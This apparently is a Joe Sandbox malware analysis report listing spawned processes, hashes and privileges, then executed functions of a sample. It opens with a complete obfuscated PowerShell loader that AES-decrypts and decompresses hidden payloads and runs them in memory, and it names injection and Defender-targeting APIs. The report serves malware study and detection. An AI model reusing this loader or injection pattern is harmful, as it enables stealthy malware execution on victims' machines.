Commandline:	cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Imagebase:	0x7ff6a4070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:40:20
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:40:22
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	07:40:22
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:40:22
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:40:23
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	07:40:23
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	07:40:23
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:40:24
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:40:24
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:40:24
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	07:40:24
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	07:40:25
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	07:40:26
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	07:40:26
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	07:40:27
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	07:40:27
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	07:40:27
Start date:	13/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{5004adc4-d516-4ec2-8626-9598e9dad3bc}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:40:28
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:40:28
Start date:	13/12/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff646ff0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	07:40:28
Start date:	13/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
Imagebase:	0x7ff70f330000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:40:28
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:40:30
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	07:40:32
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	07:40:33
Start date:	13/12/2024
Path:	C:\Windows\$nya-onimai2\IfMUlU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\$nya-onimai2\IfMUlU.exe"
Imagebase:	0x246b5010000
File size:	36'864 bytes
MD5 hash:	B943A57BDF1BBD9C33AB0D33FF885983
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	44.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	72.9%
Total number of Nodes:	251
Total number of Limit Nodes:	30

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140002D4C Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 258
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002A0C: StrCpyW.SHLWAPI ref: 0000000140002A3D
Part of subcall function 0000000140002A0C: StrCatW.SHLWAPI ref: 0000000140002A4B
Part of subcall function 0000000140002A0C: GetModuleHandleW.KERNEL32 ref: 0000000140002A54
Part of subcall function 0000000140002A0C: GetCurrentProcess.KERNEL32 ref: 0000000140002A74
Part of subcall function 0000000140002A0C: K32GetModuleInformation.KERNEL32 ref: 0000000140002A88
Part of subcall function 0000000140002A0C: CreateFileW.KERNELBASE ref: 0000000140002AB8
Part of subcall function 0000000140002A0C: CreateFileMappingW.KERNELBASE ref: 0000000140002AE2
Part of subcall function 0000000140002A0C: MapViewOfFile.KERNELBASE ref: 0000000140002B05
Part of subcall function 0000000140002A0C: lstrcmpiA.KERNEL32 ref: 0000000140002B5B
Part of subcall function 0000000140002A0C: CloseHandle.KERNELBASE ref: 0000000140002BC7
Part of subcall function 0000000140002A0C: CloseHandle.KERNEL32 ref: 0000000140002BD0
Part of subcall function 0000000140002A0C: FreeLibrary.KERNEL32 ref: 0000000140002BD9

Part of subcall function 0000000140002A0C: VirtualProtect.KERNEL32 ref: 0000000140002B8E
Part of subcall function 0000000140002A0C: VirtualProtect.KERNEL32 ref: 0000000140002BBE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D74
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D84
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D9E
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DB5
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DED
GetLastError.KERNEL32 ref: 0000000140002DF7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E00
RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E29
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E59
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E89
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E9D
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EAB
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EBE
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002ECC
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EFB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F2B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F3D
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F43
RegCreateKeyExW.KERNELBASE ref: 0000000140002F7F
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000140002FA6
RegSetKeySecurity.KERNELBASE ref: 0000000140002FBF
LocalFree.KERNEL32 ref: 0000000140002FC9
RegCreateKeyExW.KERNELBASE ref: 0000000140002FFF
GetCurrentProcessId.KERNEL32 ref: 0000000140003009
RegSetValueExW.KERNELBASE ref: 0000000140003030
RegCloseKey.KERNELBASE ref: 000000014000303A
RegCloseKey.ADVAPI32 ref: 0000000140003044
CreateThread.KERNELBASE ref: 0000000140003065
GetProcessHeap.KERNEL32 ref: 000000014000306B
HeapAlloc.KERNEL32 ref: 000000014000307A
CreateThread.KERNELBASE ref: 00000001400030A8
CreateThread.KERNELBASE ref: 00000001400030C9
ShellExecuteW.SHELL32 ref: 0000000140003103
GetProcessHeap.KERNEL32 ref: 0000000140003163
HeapFree.KERNEL32 ref: 0000000140003171
SleepEx.KERNELBASE ref: 000000014000317A

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0000000140002F9F
open, xrefs: 00000001400030E4
pid, xrefs: 0000000140002FDC
SOFTWARE\$nya-config, xrefs: 0000000140002F5E
kernel32.dll, xrefs: 0000000140002D68
svc64, xrefs: 0000000140003013
ntdll.dll, xrefs: 0000000140002D5C
SeDebugPrivilege, xrefs: 0000000140002DAE
$nya-dll32, xrefs: 0000000140002E47, 0000000140002ED6
SOFTWARE, xrefs: 0000000140002E1F
?, xrefs: 0000000140002FF3
$nya-dll64, xrefs: 0000000140002E77, 0000000140002F10

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Create$CloseValue$CurrentHandleQuery$AllocFileFreeOpenSecurityThread$DescriptorModuleProtectTokenVirtual$AdjustConvertErrorExecuteInformationLastLibraryLocalLookupMappingPrivilegePrivilegesShellSleepStringViewlstrcmpi
String ID: $nya-dll32$$nya-dll64$?$D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$SOFTWARE$SOFTWARE\$nya-config$SeDebugPrivilege$kernel32.dll$ntdll.dll$open$pid$svc64
API String ID: 3658652915-3222643892
Opcode ID: 1fbe09dec1d199788ba5218dd301b0589b924fd5f4b28719ba773b516d3b2e5d
Instruction ID: 4f21af1d6324345a54d8493184232a85d4bbe7b60dd5b863780ff56615b54280
Opcode Fuzzy Hash: 1fbe09dec1d199788ba5218dd301b0589b924fd5f4b28719ba773b516d3b2e5d
Instruction Fuzzy Hash: A5C1F2B2200A4086EB26DF22F8547DA37A5FB8CBD9F414116FB4A43A76DF38C589C744

Function 0000000140001868 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 287
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 000000014000189E
IsWow64Process.KERNEL32 ref: 00000001400018BA
CloseHandle.KERNELBASE ref: 00000001400018DE
OpenProcess.KERNEL32 ref: 0000000140001939
OpenProcess.KERNEL32 ref: 0000000140001958
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001979
PathFindFileNameW.SHLWAPI ref: 0000000140001987
lstrlenW.KERNEL32 ref: 0000000140001993
StrCpyW.SHLWAPI ref: 00000001400019AA
CloseHandle.KERNEL32 ref: 00000001400019B6
StrCmpIW.SHLWAPI ref: 00000001400019EA
NtQueryInformationProcess.NTDLL ref: 0000000140001A1B
OpenProcessToken.ADVAPI32 ref: 0000000140001A43
GetTokenInformation.KERNELBASE ref: 0000000140001A6F
GetLastError.KERNEL32 ref: 0000000140001A79
LocalAlloc.KERNEL32 ref: 0000000140001A8C
GetTokenInformation.KERNELBASE ref: 0000000140001AB8
GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC5
GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD4
LocalFree.KERNEL32 ref: 0000000140001AEC
CloseHandle.KERNEL32 ref: 0000000140001B00
StrStrA.SHLWAPI ref: 0000000140001BAB
VirtualAllocEx.KERNEL32 ref: 0000000140001C15
WriteProcessMemory.KERNELBASE ref: 0000000140001C38
WaitForSingleObject.KERNEL32 ref: 0000000140001C79
GetExitCodeThread.KERNEL32 ref: 0000000140001C8F
VirtualFreeEx.KERNELBASE ref: 0000000140001CB1
CloseHandle.KERNELBASE ref: 0000000140001CC2
CloseHandle.KERNEL32 ref: 0000000140001CCB

Strings

ReflectiveDllMain, xrefs: 0000000140001BA1
@, xrefs: 0000000140001C08
MSBuild.exe, xrefs: 00000001400019D4
MsMpEng.exe, xrefs: 00000001400019C1

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileFreeLocalNameVirtual$CodeCountErrorExitFindLastMemoryModuleObjectPathQuerySingleThreadWaitWow64Writelstrlen
String ID: @$MSBuild.exe$MsMpEng.exe$ReflectiveDllMain
API String ID: 2456419452-2628171563
Opcode ID: 2b16a00b8169fba4865d38f395e3f4d07e54227767ca222d3906c7a16431a916
Instruction ID: aa2e9c602b366f086df46edbb2d603c4cad306d9795ea9e87325920370297f3c
Opcode Fuzzy Hash: 2b16a00b8169fba4865d38f395e3f4d07e54227767ca222d3906c7a16431a916
Instruction Fuzzy Hash: 93C14BB1700A8186EB66DF23B8907EA23A5FB89BC4F444125EF4A477A4DF38C985C744

Function 00000001400031D0 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 236
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140003230
HeapAlloc.KERNEL32 ref: 0000000140003243
K32EnumProcesses.KERNEL32 ref: 0000000140003260

Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 000000014000189E
Part of subcall function 0000000140001868: IsWow64Process.KERNEL32 ref: 00000001400018BA
Part of subcall function 0000000140001868: CloseHandle.KERNELBASE ref: 00000001400018DE
Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 0000000140001939
Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 0000000140001958
Part of subcall function 0000000140001868: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001979
Part of subcall function 0000000140001868: PathFindFileNameW.SHLWAPI ref: 0000000140001987
Part of subcall function 0000000140001868: lstrlenW.KERNEL32 ref: 0000000140001993
Part of subcall function 0000000140001868: StrCpyW.SHLWAPI ref: 00000001400019AA
Part of subcall function 0000000140001868: CloseHandle.KERNEL32 ref: 00000001400019B6
Part of subcall function 0000000140001868: StrCmpIW.SHLWAPI ref: 00000001400019EA

Part of subcall function 0000000140001868: NtQueryInformationProcess.NTDLL ref: 0000000140001A1B
Part of subcall function 0000000140001868: OpenProcessToken.ADVAPI32 ref: 0000000140001A43
Part of subcall function 0000000140001868: GetTokenInformation.KERNELBASE ref: 0000000140001A6F
Part of subcall function 0000000140001868: GetLastError.KERNEL32 ref: 0000000140001A79
Part of subcall function 0000000140001868: LocalAlloc.KERNEL32 ref: 0000000140001A8C
Part of subcall function 0000000140001868: GetTokenInformation.KERNELBASE ref: 0000000140001AB8
Part of subcall function 0000000140001868: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC5
Part of subcall function 0000000140001868: GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD4
Part of subcall function 0000000140001868: LocalFree.KERNEL32 ref: 0000000140001AEC
Part of subcall function 0000000140001868: CloseHandle.KERNEL32 ref: 0000000140001B00
Part of subcall function 0000000140001868: StrStrA.SHLWAPI ref: 0000000140001BAB

ReadFile.KERNEL32 ref: 00000001400032DE
ExitProcess.KERNEL32 ref: 000000014000334E
ReadFile.KERNELBASE ref: 0000000140003371
GetProcessHeap.KERNEL32 ref: 0000000140003392
HeapAlloc.KERNEL32 ref: 00000001400033A3
GetProcessHeap.KERNEL32 ref: 00000001400033FA
HeapFree.KERNEL32 ref: 0000000140003408
RegOpenKeyExW.ADVAPI32 ref: 000000014000346F
RegDeleteValueW.ADVAPI32 ref: 0000000140003487
RegDeleteValueW.ADVAPI32 ref: 000000014000349B
RegDeleteValueW.ADVAPI32 ref: 00000001400034AF

Strings

open, xrefs: 0000000140003608
$nya-svc32, xrefs: 00000001400034B5
$nya-stager, xrefs: 0000000140003480
$nya-dll32, xrefs: 0000000140003494
$nya-svc64, xrefs: 00000001400034C1
SOFTWARE, xrefs: 0000000140003461
$nya-dll64, xrefs: 00000001400034A8

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Open$File$AllocCloseDeleteHandleInformationTokenValue$AuthorityFreeLocalNameRead$CountEnumErrorExitFindLastModulePathProcessesQueryWow64lstrlen
String ID: $nya-dll32$$nya-dll64$$nya-stager$$nya-svc32$$nya-svc64$SOFTWARE$open
API String ID: 2078740077-1712970621
Opcode ID: f7c68859b52914e3334372da6bae20eccf7175c030ed6d90c0cd16e79758e7fd
Instruction ID: c8d4f342e40e6777a9670b8351b23a9f9beb54452381f7607bad1af34793ce04
Opcode Fuzzy Hash: f7c68859b52914e3334372da6bae20eccf7175c030ed6d90c0cd16e79758e7fd
Instruction Fuzzy Hash: 0FB106F120468196EB7BDF27B8543E922A9F74C7C4F448125BB0A47ABADF39C645C704

Function 0000000140001CF0 Relevance: 19.6, APIs: 13, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001D23
HeapAlloc.KERNEL32 ref: 0000000140001D36
GetProcessHeap.KERNEL32 ref: 0000000140001D44
HeapAlloc.KERNEL32 ref: 0000000140001D55
K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
OpenProcess.KERNEL32 ref: 0000000140001D9D
K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
ReadProcessMemory.KERNEL32 ref: 0000000140001E01
CloseHandle.KERNELBASE ref: 0000000140001E46
GetProcessHeap.KERNEL32 ref: 0000000140001E58
HeapFree.KERNEL32 ref: 0000000140001E66
GetProcessHeap.KERNEL32 ref: 0000000140001E6C
RtlFreeHeap.NTDLL ref: 0000000140001E7A

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: f02ff77e7f4e077cdd12b46490152bc7a80db30c6c4fa853e392340b29967d71
Instruction ID: e2e15449054ed3f9ee7818d53de513bd52f9f3644679b514a33cb2e068489f8a
Opcode Fuzzy Hash: f02ff77e7f4e077cdd12b46490152bc7a80db30c6c4fa853e392340b29967d71
